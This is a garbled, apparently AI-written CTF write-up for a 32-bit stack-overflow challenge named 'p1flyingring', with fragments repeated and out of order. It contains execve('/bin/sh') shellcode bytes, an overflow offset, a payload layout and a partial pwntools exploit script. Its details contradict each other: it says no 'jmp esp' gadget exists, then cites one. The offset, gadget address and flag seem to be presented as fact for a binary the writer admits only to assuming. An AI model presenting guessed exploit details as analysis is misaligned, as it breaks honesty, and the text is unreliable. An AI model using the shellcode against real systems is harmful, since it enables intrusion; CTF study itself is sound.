P1flyingring

$ cyclic 100 $ run < pattern Offset = 0x44 (68 bytes). objdump -d p1flyingring | grep "jmp esp" → none in binary. Check libc or use push esp; ret :

$ cat flag FLAGp1_flying_ring_overflow No NX + no canary + jmp esp gadget → classic stack overflow to shellcode. p1flyingring

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 [ padding 0x44 ] [ push_esp_ret_addr ] [ nop sled + shellcode ] 5. Exploit script (Python) #!/usr/bin/env python3 from pwn import * p = process('./p1flyingring') p = remote('target', port) offset = 0x44 push_esp_ret = 0x0804858a $ cyclic 100 $ run < pattern Offset = 0x44 (68 bytes)

Here’s a write-up for the challenge, assuming it’s a CTF/pwn challenge (common on platforms like pwnable.tw or similar). If you meant a different context (e.g., reversing, web), let me know. p1flyingring – Write-up Challenge Overview p1flyingring is a binary exploitation challenge. The name hints at a “flying ring” (possibly a pun on Feng Ring or buffer overflow). The binary is a 32-bit ELF with minimal protections. let me know.